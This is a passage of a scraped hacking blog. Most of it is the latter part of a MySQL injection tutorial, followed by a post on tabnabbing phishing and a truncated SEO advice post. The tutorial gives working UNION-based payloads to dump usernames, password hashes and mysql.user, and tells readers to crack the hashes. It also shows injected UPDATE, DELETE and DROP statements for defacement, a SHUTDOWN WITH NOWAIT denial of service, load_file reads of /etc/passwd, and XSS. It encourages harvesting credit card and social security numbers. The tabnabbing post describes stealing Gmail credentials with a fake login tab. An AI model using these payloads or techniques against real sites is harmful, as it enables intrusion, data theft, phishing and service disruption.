<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT concat(username,0x3a,password),2 FROM tbluser/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
And this gives me the username and password like below:</div>
<div class="MsoNormal" style="text-align: justify;">
admin:9F14974D57DE204E37C11AEAC3EE4940</div>
<div class="MsoNormal" style="text-align: justify;">
Here the password is hashed and in this case, its MD5. Now u need to get the hash cracker like John The Ripper(http://www.openwalls.org), Cain & Able(http://www.oxid.it) and crack the hash. The hash may be different like SHA1, MD5,etc.. or sometimes plaintext password may be shown on the page. In this case, when I crack I get the password as sam207.</div>
<div class="MsoNormal" style="text-align: justify;">
Now u get to admin login page and login as admin. Then u can do whatever u like. So that's all for the MySQL version 5.</div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><u><span style="color: red;">Sub-section 6:</span></u></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="color: #00b050;">MySQL version 4 injection:</span></div>
<div class="MsoNormal" style="text-align: justify;">
Now say ur slave has MySQL version 4. Then u won't be able to get the table name and column name as in MySQL version 5 bcoz it lacks support for information_schema.tables and information_schema.columns. So now u will have to guess the table name and column name until u do not get error. Also, if the mysql version is below 5, you may have to depend on the luck & error messages displayed.. Sometimes the error will give you the table name & column name & that gives you some idea to guess the correct table & columns name.. Say, the error reports sam207_article in the error.. So, you know that sam207_ is the prefix used in the table names...</div>
<div class="MsoNormal" style="text-align: justify;">
Anyway, lets go for MySQL version 4 injection...</div>
<div class="MsoNormal" style="text-align: justify;">
For example, u would do as below:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT 1,2 FROM user/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
Here, I guessed for the table name as user. But this gave me the error bcoz the table with the name user didn't exist on the DB. Now I kept on guessing for the table name until I didn't get error.</div>
<div class="MsoNormal" style="text-align: justify;">
When I put the table name as tbluser, the page loaded normally. So I came to know that the table tbluser exists.</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT 1,2 FROM tbluser/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
The page loaded normally. Now again u have to guess the column names present in the tbluser table.</div>
<div class="MsoNormal" style="text-align: justify;">
I do something like below:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT user_name,2 FROM tbluser/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
//this gave me error so there is no column with this name.</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT username,2 FROM tbluser/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
//It loaded the page normally along with the username from the table.</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT pass,2 FROM tbluser/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
//it errored so again the column pass doesnot exist in the table tbluser.</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT password,2 FROM tbluser/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
//the page loaded normally with password hash(or plaintext password).</div>
<div class="MsoNormal" style="text-align: justify;">
Now u may do this:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT concat(username,0x3a,password),2 FROM tbluser/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
This gave me:</div>
<div class="MsoNormal" style="text-align: justify;">
admin:9F14974D57DE204E37C11AEAC3EE4940</div>
<div class="MsoNormal" style="text-align: justify;">
On cracking, I got sam207 as password. Now I just need to login the site and do whatever I wanted.</div>
<div class="MsoNormal" style="text-align: justify;">
Few table names u may try are: user(s), table_user(s), tbluser(s), tbladmin(s), admin(s), members, etc. As said earlier, be sure to look on the errors because sometime they give fortunately for us the errors with table names & column names...</div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
U may try these methods so as to get various data such as credit card numbers, social security numbers, etc. and etc. if the database holds. Just what u need to do is figure out the columns and get them displayed on the vulnerable page. That's all on the injection for accessing secret data.</div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><u><span style="color: red;">MODIFYING SITE CONTENT:</span></u></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
Sometime, u find the vulnerable site and get evrything to know but maybe admin login doesn't exist or it is accessible for certain IP range. Even in that context, u can use some kewl SQL commands for modifying the site content. I haven't seen much articles addressing this one so thought to include it here.</div>
<div class="MsoNormal" style="text-align: justify;">
Here, I will basically talk about few SQL commands u may use to change the site content. Therse commands are the workhorse of MySQL & are deadly when executed.</div>
<div class="MsoNormal" style="text-align: justify;">
First let me list these commands:</div>
<div class="MsoNormal" style="text-align: justify;">
UPDATE: It is used to edit infos already in the db without deleting any rows.</div>
<div class="MsoNormal" style="text-align: justify;">
DELETE: It is used to delete the contents of one or more fields.</div>
<div class="MsoNormal" style="text-align: justify;">
DROP: It is used completely delete a table & all its associated data.</div>
<div class="MsoNormal" style="text-align: justify;">
Now, u could have figured out that these commands can be very desctructive if the site lets us to interact with db with no sanitization & proper permission.</div>
<div class="MsoNormal" style="text-align: justify;">
Command Usage:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><u><span style="color: #00b050;">UPDATE:</span></u></i></b> Our vulnerable page is:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">http://www.site.com/article.php?id=5</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
Lets say the query is:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">SELECT title,data,author FROM article WHERE id=5</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
Though in reality, we don't know the query as above, we can find the table and column name as discussed earlier.</div>
<div class="MsoNormal" style="text-align: justify;">
So we would do:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UPDATE article SET title='Hacked By Hardeep'/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
or, u could alternatively do:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UPDATE article SET title='HACKED BY Hardeep',data='Ur site has zero security',author='Hardeep'/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
By executing first query, we have set the title value as 'Hacked By Hardeep' in the table article while in second query, we have updated all three fields title, data, & author in the table article.</div>
<div class="MsoNormal" style="text-align: justify;">
Sometimes, u may want to change the specific page with id=5. For this u will do:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UPDATE article SET title='value 1',data='value 2',author='value 3' WHERE id=5</span></i></b><span style="color: #00b0f0;">/*</span></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><u><span style="color: #00b050;">DELETE:</span></u></i></b> As already stated, this deletes the content of one or more fields permanently from the db server.</div>
<div class="MsoNormal" style="text-align: justify;">
The syntax is:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 DELETE title,data,author FROM article/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
or if u want to delete these fields from the id=5, u will do:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 DELETE title,data,author FROM article WHERE id=5/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><u><span style="color: #00b050;">DROP</span></u></i></b>:This is another deadly command u can use. With this, u can delete a table & all its associated data.</div>
<div class="MsoNormal" style="text-align: justify;">
For this, we make our URL as:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 DROP TABLE article/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
This would delete table article & all its contents.</div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
Finally, I want to say little about ;</div>
<div class="MsoNormal" style="text-align: justify;">
Though I have not used this in my tutorial, u can use it to end ur first query and start another one.</div>
<div class="MsoNormal" style="text-align: justify;">
This ; can be kept at the end of our first query so that we can start new query after it.</div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><u><span style="color: #00b050;">SHUTTING DOWN MySQL SERVER:</span></u></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
This is like DoSing the server as it will make the MySQL resources unavailable for the legitimate users or site visitors... For this, you will be using: SHUTDOWN WITH NOWAIT;</div>
<div class="MsoNormal" style="text-align: justify;">
So, you would craft a query which would execute the above command...</div>
<div class="MsoNormal" style="text-align: justify;">
For example, in my case, I would do the following:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 SHUTDOWN WITH NOWAIT;</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
WOW! the MySQL server is down... This would prevent legitimate users & site visitors from using or viewing MySQL resources...</div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b050;">LOADFILE:</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
MySQL has a function called load_file which you can use for your benefits again.. I have not seen much site where I could use this function... I think we should have MySQL root privilege for this.... Also, the magic quotes should be off for this.. But there is a way to get past the magic quotes... load_file can be used to load certain files of the server such as .htaccess, .htpasswd, etc.. & also password files like etc/passwd, etc..</div>
<div class="MsoNormal" style="text-align: justify;">
Do something like below:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT load_file('etc/passwd'),2/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
But sometimes, you will have to hex the part & do something like below:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT load_file(0x272F6574632F70617373776427)</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
where I have hexed... Now, if we are lucky, the scriptblock would echo the etc/passwd in the result..</div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><u><span style="color: #00b050;">MySQL ROOT:</span></u></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
If the MySQL version is 5 or above, we might be able to gain MySQL root privilege which will again be helpful for us.. MySQL servers from version 5 have a table called mysql.user which contains the hashes & usernames for login... It is in the user table of the mysql database which ships with every installation of MySQL..</div>
<div class="MsoNormal" style="text-align: justify;">
For this, you will do:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT concat(username,0x3a,password),2 from mysql.user/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
Now you will get the usernames & hashes.. The hash is mysqlsha1... Quick note: JTR won't crack it.. But http://www.insidepro.com has one to do it..</div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><u><span style="color: red;">INALIZING THE INJECTION TUTORIAL:</span></u></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
I know I have missed some things like outfile, WHERE clause, blind injection,etc... If I get time, I would try to update the tutorial with these.. Also for all sql injectors, think in a broad way.. & hexing is an important part in sql injection.. Sometimes the things that can't be done with normal ways can be done by using the hex part.. & be sure to try things with char(), hex() functions.. With these, you can bypass magic quotes on the server.. Again, within the UNION statement, you may try to use the XSS which would be sometimes helpful for you..</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT <scblockedript>alert("XSS via SQL injection");</scblockedript>,2/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
Again in the above injection, you may require to hex up the javascriptblock part for bypassing the magic quotes..</div>
<div class="MsoNormal" style="text-align: justify;">
Also for starters & those who know little things, you may setup a MySQL server & configure PHP for your apache server in your localhost where you can try different things..</div>
<div class="MsoNormal" style="text-align: justify;">
In the command line interface of MySQL, try various commands enlisted below.. Try by modifying them... This would help you improve your MySQL command knowledge.. Also try to see how PHP codes interact with MySQL server.. For example, install some free forums like PHPBB, SMF,etc.. or some content management system as it would help you in two ways.. First, you would learn how the PHP interacts with MySQL.. You may check MySQL folder with what changes has occured after installing them.. What would happen if I do this? or that?? etc..etc.. Second, you may be able to find bugs in them.. like rfi in some part of the code or sql injection in another part or maybe csrf injection,etc.. That would help you to learn new things because you all know practice makes the man perfect...</div>
<div class="MsoNormal" style="text-align: justify;">
<b><u><span style="color: red;">MAJOR MySQL COMMANDS:</span></u></b></div>
<div class="MsoNormal" style="text-align: justify;">
Below, I would list some major MySQL commands that might help you a lot... Play with them in different ways by setting up a MySQL server in your computer..</div>
<div class="MsoNormal" style="text-align: justify;">
All the commands here are copy pasted from the post at http://www.h4cky0u.org & the credit for this part goes to the original author.. This is the only part which I didn't write myself.. I could have but since there is better one, I thought to put the same part here.. Thanks to whoever posted this in h4cky0u site.. & also full credits to him/her for this part..</div>
<div class="MsoNormal" style="text-align: justify;">
ABORT -- abort the current transaction</div>
<div class="MsoNormal" style="text-align: justify;">
ALTER DATABASE -- change a database</div>
<div class="MsoNormal" style="text-align: justify;">
ALTER GROUP -- add users to a group or remove users from a group</div>
<div class="MsoNormal" style="text-align: justify;">
ALTER TABLE -- change the definition of a table</div>
<div class="MsoNormal" style="text-align: justify;">
ALTER TRIGGER -- change the definition of a trigger</div>
<div class="MsoNormal" style="text-align: justify;">
ALTER USER -- change a database user account</div>
<div class="MsoNormal" style="text-align: justify;">
ANALYZE -- collect statistics about a database</div>
<div class="MsoNormal" style="text-align: justify;">
BEGIN -- start a transaction block</div>
<div class="MsoNormal" style="text-align: justify;">
CHECKPOINT -- force a transaction log checkpoint</div>
<div class="MsoNormal" style="text-align: justify;">
CLOSE -- close a cursor</div>
<div class="MsoNormal" style="text-align: justify;">
CLUSTER -- cluster a table according to an index</div>
<div class="MsoNormal" style="text-align: justify;">
COMMENT -- define or change the comment of an object</div>
<div class="MsoNormal" style="text-align: justify;">
COMMIT -- commit the current transaction</div>
<div class="MsoNormal" style="text-align: justify;">
COPY -- copy data between files and tables</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE AGGREGATE -- define a new aggregate function</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE CAST -- define a user-defined cast</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE CONSTRAINT TRIGGER -- define a new constraint trigger</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE CONVERSION -- define a user-defined conversion</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE DATABASE -- create a new database</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE DOMAIN -- define a new domain</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE FUNCTION -- define a new function</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE GROUP -- define a new user group</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE INDEX -- define a new index</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE LANGUAGE -- define a new procedural language</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE OPERATOR -- define a new operator</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE OPERATOR CLASS -- define a new operator class for indexes</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE RULE -- define a new rewrite rule</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE SCHEMA -- define a new schema</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE SEQUENCE -- define a new sequence generator</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE TABLE -- define a new table</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE TABLE AS -- create a new table from the results of a query</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE TRIGGER -- define a new trigger</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE TYPE -- define a new data type</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE USER -- define a new database user account</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE VIEW -- define a new view</div>
<div class="MsoNormal" style="text-align: justify;">
DEALLOCATE -- remove a prepared query</div>
<div class="MsoNormal" style="text-align: justify;">
DECLARE -- define a cursor</div>
<div class="MsoNormal" style="text-align: justify;">
DELETE -- delete rows of a table</div>
<div class="MsoNormal" style="text-align: justify;">
DROP AGGREGATE -- remove a user-defined aggregate function</div>
<div class="MsoNormal" style="text-align: justify;">
DROP CAST -- remove a user-defined cast</div>
<div class="MsoNormal" style="text-align: justify;">
DROP CONVERSION -- remove a user-defined conversion</div>
<div class="MsoNormal" style="text-align: justify;">
DROP DATABASE -- remove a database</div>
<div class="MsoNormal" style="text-align: justify;">
DROP DOMAIN -- remove a user-defined domain</div>
<div class="MsoNormal" style="text-align: justify;">
DROP FUNCTION -- remove a user-defined function</div>
<div class="MsoNormal" style="text-align: justify;">
DROP GROUP -- remove a user group</div>
<div class="MsoNormal" style="text-align: justify;">
DROP INDEX -- remove an index</div>
<div class="MsoNormal" style="text-align: justify;">
DROP LANGUAGE -- remove a user-defined procedural language</div>
<div class="MsoNormal" style="text-align: justify;">
DROP OPERATOR -- remove a user-defined operator</div>
<div class="MsoNormal" style="text-align: justify;">
DROP OPERATOR CLASS -- remove a user-defined operator class</div>
<div class="MsoNormal" style="text-align: justify;">
DROP RULE -- remove a rewrite rule</div>
<div class="MsoNormal" style="text-align: justify;">
DROP SCHEMA -- remove a schema</div>
<div class="MsoNormal" style="text-align: justify;">
DROP SEQUENCE -- remove a sequence</div>
<div class="MsoNormal" style="text-align: justify;">
DROP TABLE -- remove a table</div>
<div class="MsoNormal" style="text-align: justify;">
DROP TRIGGER -- remove a trigger</div>
<div class="MsoNormal" style="text-align: justify;">
DROP TYPE -- remove a user-defined data type</div>
<div class="MsoNormal" style="text-align: justify;">
DROP USER -- remove a database user account</div>
<div class="MsoNormal" style="text-align: justify;">
DROP VIEW -- remove a view</div>
<div class="MsoNormal" style="text-align: justify;">
END -- commit the current transaction</div>
<div class="MsoNormal" style="text-align: justify;">
EXECUTE -- execute a prepared query</div>
<div class="MsoNormal" style="text-align: justify;">
EXPLAIN -- show the execution plan of a statement</div>
<div class="MsoNormal" style="text-align: justify;">
FETCH -- retrieve rows from a table using a cursor</div>
<div class="MsoNormal" style="text-align: justify;">
GRANT -- define access privileges</div>
<div class="MsoNormal" style="text-align: justify;">
INSERT -- create new rows in a table</div>
<div class="MsoNormal" style="text-align: justify;">
LISTEN -- listen for a notification</div>
<div class="MsoNormal" style="text-align: justify;">
LOAD -- load or reload a shared library file</div>
<div class="MsoNormal" style="text-align: justify;">
LOCK -- explicitly lock a table</div>
<div class="MsoNormal" style="text-align: justify;">
MOVE -- position a cursor on a specified row of a table</div>
<div class="MsoNormal" style="text-align: justify;">
NOTIFY -- generate a notification</div>
<div class="MsoNormal" style="text-align: justify;">
PREPARE -- create a prepared query</div>
<div class="MsoNormal" style="text-align: justify;">
REINDEX -- rebuild corrupted indexes</div>
<div class="MsoNormal" style="text-align: justify;">
RESET -- restore the value of a run-time parameter to a default value</div>
<div class="MsoNormal" style="text-align: justify;">
REVOKE -- remove access privileges</div>
<div class="MsoNormal" style="text-align: justify;">
ROLLBACK -- abort the current transaction</div>
<div class="MsoNormal" style="text-align: justify;">
SELECT -- retrieve rows from a table or view</div>
<div class="MsoNormal" style="text-align: justify;">
SELECT INTO -- create a new table from the results of a query</div>
<div class="MsoNormal" style="text-align: justify;">
SET -- change a run-time parameter</div>
<div class="MsoNormal" style="text-align: justify;">
SET CONSTRAINTS -- set the constraint mode of the current transaction</div>
<div class="MsoNormal" style="text-align: justify;">
SET SESSION AUTHORIZATION -- set the session user identifier and the current user identifier of the current session</div>
<div class="MsoNormal" style="text-align: justify;">
SET TRANSACTION -- set the characteristics of the current transaction</div>
<div class="MsoNormal" style="text-align: justify;">
SHOW -- show the value of a run-time parameter</div>
<div class="MsoNormal" style="text-align: justify;">
START TRANSACTION -- start a transaction block</div>
<div class="MsoNormal" style="text-align: justify;">
TRUNCATE -- empty a table</div>
<div class="MsoNormal" style="text-align: justify;">
UNLISTEN -- stop listening for a notification</div>
<div class="MsoNormal" style="text-align: justify;">
UPDATE -- update rows of a table</div>
<div class="MsoNormal" style="text-align: justify;">
VACUUM -- garbage-collect and optionally analyze a database</div>
<div class="MsoNormal" style="text-align: justify;">
<i><u><span style="color: red;">Disclaimer</span></u></i></div>
<div class="MsoNormal" style="text-align: justify;">
This tutorial is for educational purpose only. The Author does not have any responsibility if the content in this tutorial is misused.     <b><i><u><span style="color: #e36c0a;">"ILLEGAL USAGE OF THESE KNOWLEDGE MAY LEAD TO SERIOUS RESULTS"</span></u></i></b></div>
</div>

Hacking Tutorials MySQL SQL Injection Tutorials SQL Injection Complete

MySQL injection tutorial (Complete) TABLE OF CONTENT: #INTRO #WHAT IS DATABASE? #WHAT IS S...

Phishing Attack Using Tabnabbing

6/05/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVpOqWk1DSAJKLIjKip-S5lRZrI4t7RucRcBg0q66ThDxVKtuzCldtQQfM8iabX8sYdY2EGrJ2yVoiTKcKwzpSv2CI21A6WxwI7BNbk14eqpGMVpf5nVGLxkB5v0oHX1CG-jUashj_FEo/s1600/tab-napping.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="112" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVpOqWk1DSAJKLIjKip-S5lRZrI4t7RucRcBg0q66ThDxVKtuzCldtQQfM8iabX8sYdY2EGrJ2yVoiTKcKwzpSv2CI21A6WxwI7BNbk14eqpGMVpf5nVGLxkB5v0oHX1CG-jUashj_FEo/s1600/tab-napping.jpg" width="320" /></a></div>
<br />
<div class="post-body entry-content">
<span class="Apple-style-span"><span id="7140679708706166316"></span></span><br />
<div>
<div>
<span class="Apple-style-span"><span id="7140679708706166316">Most phishing attacks depend on an original deception. If you detect that you are at the wrong URL, or that something is amiss on a page, the chase is up. You've escaped the attackers. In fact, the time that wary people are most wary is exactly when they first navigate to a site.</span></span></div>
<div>
<span class="Apple-style-span"><span id="7140679708706166316"><br /></span></span></div>
<div>
<span class="Apple-style-span"><span id="7140679708706166316">What we don't expect is that a page we've been looking at will change behind our backs, when we aren't looking. That'll catch us by surprise.</span></span></div>
<div>
<span class="Apple-style-span"><span id="7140679708706166316"><br /></span></span></div>
<div>
<span class="Apple-style-span"><span id="7140679708706166316"><br /></span></span></div>
<div>
<span class="Apple-style-span"><span id="7140679708706166316"><b>How Phishing Attack Using Tabnabbing Works</b></span></span></div>
<div>
<ol>
<li style="margin: 0px 0px 0.25em; padding: 0px; text-indent: 0px;"><span class="Apple-style-span"><span id="7140679708706166316">A user navigates to your normal looking site.</span></span></li>
<span class="Apple-style-span"><span id="7140679708706166316">
<li style="margin: 0px 0px 0.25em; padding: 0px; text-indent: 0px;">You detect when the page has lost its focus and hasn't been interacted with for a while.</li>
<li style="margin: 0px 0px 0.25em; padding: 0px; text-indent: 0px;">Replace the favicon with the Gmail favicon, the title with "Gmail: Email from Google", and the page with a Gmail login look-a-like. This can all be done with just a little bit of Javascript that takes place instantly.</li>
<li style="margin: 0px 0px 0.25em; padding: 0px; text-indent: 0px;">As the user scans their many open tabs, the favicon and title act as a strong visual cue—memory is malleable and moldable and the user will most likely simply think they left a Gmail tab open. When they click back to the fake Gmail tab, they'll see the standard Gmail login page, assume they've been logged out, and provide their credentials to log in. The attack preys on the perceived immutability of tabs.</li>
<li style="margin: 0px 0px 0.25em; padding: 0px; text-indent: 0px;">After the user has entered their login information and you've sent it back to your server, you redirect them to Gmail. Because they were never logged out in the first place, it will appear as if the login was successful.</li>
</span></span></ol>
</div>
</div>
<div>
<div>
<span class="Apple-style-span"><span id="7140679708706166316">In this attack, the phisher need not even change the Web address displayed in the browser's navigation toolbar. Rather, this particular phishing attack takes advantage of user trust and inattention to detail, or what Raskin calls "the perceived immutability of tabs." Then, as the user scans their many open tabs, the favicon and title act as a strong visual cue, and the user will most likely simply think they left a Gmail tab open.</span></span></div>
<div>
<span class="Apple-style-span"><span id="7140679708706166316"><br /></span></span></div>
<div>
<span class="Apple-style-span"><span id="7140679708706166316">"When they click back to the fake Gmail tab, they'll see the standard Gmail login page, assume they've been logged out, and provide their credentials to log in," Raskin explained. "After the user has enter they have entered their login information and sent it back your server, you redirect them to Gmail. Because they were never logged out in the first place, it will appear as if the login was successful."</span></span></div>
</div>
<div>
<span class="Apple-style-span"><span id="7140679708706166316"><br /></span></span></div>
<div>
<span class="Apple-style-span"><span id="7140679708706166316"><i>For Firefox users with the Noscript plugin, there is an update to the program that can block these types of tabnabbing attacks.</i></span></span></div>
</div>
<br />
<div>
<br /></div>
-- <br />
<div dir="ltr">
Regards,<br />
Hardeep Singh<br />
(<a href="http://www.fb.com/h4rdeep" target="_blank">www.fb.com/h4rdeep</a>)</div>
<br /></div>

Hacking Hacking Tutorials Phishing Social Engineering Tabnapping Tutorials Phishing Attack Using Tabnabbing

Most phishing attacks depend on an original deception. If you detect that you are at the wrong URL, or that something is amiss on a ...

How to Improve Search Engine Ranking

5/30/2011 rahlabs 2

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXGiSVGYFPWtqsit25IAkQR8uxw8iIbfFjWP9FvhD8P1xp4t76BgLIrqzewK-hb9KSZwcCGSTiAZPGSEaujoGGqfh4jlHiD5aDVWz-5PPFxbt2FXaUKBvnkdBH8Wr0BoiTwYEAplDKFEA/s1600/improve-search-engine-ranking.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="191" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXGiSVGYFPWtqsit25IAkQR8uxw8iIbfFjWP9FvhD8P1xp4t76BgLIrqzewK-hb9KSZwcCGSTiAZPGSEaujoGGqfh4jlHiD5aDVWz-5PPFxbt2FXaUKBvnkdBH8Wr0BoiTwYEAplDKFEA/s1600/improve-search-engine-ranking.jpg" width="320" /></a></div><br />
Showing up on search engines is one of the most critical ways to increase website traffic and expose your content, product or service to people who might be interested in what you have to offer. Most of the major search engines utilize an algorithm to determine where a website ranks. The search engines have set up specific criteria that a website must meet to get to the top of the list. The criteria are different for every engine, but all engines share several commonalities. It all boils down to the type and amount of content provided on a given website, the level of optimization done on the site, and the popularity of the website (link popularity/PageRank). Tailoring your website for improved search engine rankings is also known widely as search engine optimization, or SEO.<br />
<br />
<strong>Steps</strong><br />
<h3>[1]. Research the keywords:</h3>Decide what search queries you want to show up for. Do some research on how many people are actually searching for your site. Many times it is best to consult a "<i>natural search engine optimization</i>" professional during this process. There are several tools available from Google, Overture, and third party software developers that can make the keyword research process easier.<br />
<h3>[2]. Think outside of the box:</h3>Don't just focus on your main keywords. The first thing to realize when targeting keywords is that it is not all about ranking for the most popular keyword. The most successful search engine marketing and optimization campaigns target the most relevant keywords. For example, if you are a realtor in a particular area, don't just optimize your site for "<i>real estate</i>." Optimize your site for dentist, florist, movie theaters, etc. You would be amazed how many unique visitors will come through to your site when "<i>outside of the box</i>" thinking occurs.<br />
<h3>[3]. Focus on the end user:</h3>If you spend too much time trying to please the Search Engine Spiders, you may forget about the end user. Think about what your target market needs to accomplish their goals, and then put it on your site so that they can find it. The phrase "content is king" was born about 6 years ago, and it still holds true today. If you want to be relevant for specific keywords, than you need superior or at least highly competitive content. Write about 225-300 words of copy for each keyword and plant it on your site each day. Grow, grow, and grow. On average, one can target between 3-5 like keyword phrases per page. Make it as natural as possible and the Search Engines will reward you will a first page ranking.<br />
<h3>[4]. Describe EVERYTHING:</h3>Make sure that all the pages of the site of have custom titles and descriptions. If your site is using the same tags for all the pages, you are not helping search engines figure out the subject or relevance of your individual pages. Regarding Meta Tags, there are 2 very important fields:<br />
* <i><strong>Title Tag -</strong></i> arguably the most important SEO tag for any website. Google supports approx. 60 characters in the title, while Yahoo allows for up to 110 characters in the title. It is important to target the most critical keywords in the Title. Every page should have a unique Title.<br />
* <i><strong>META Description Tag -</strong></i> also very important for every page on the site. Some engines do display the description defined, while others do not. All search engines do read the description tag, and do utilize the content found within in the ranking process. A good rule of thumb is to create descriptions that do not exceed 200-250 characters. The META keyword Tag is essentially useless in today's SEO market, but is often times good to utilize as a placeholder for the keywords targeted.<br />
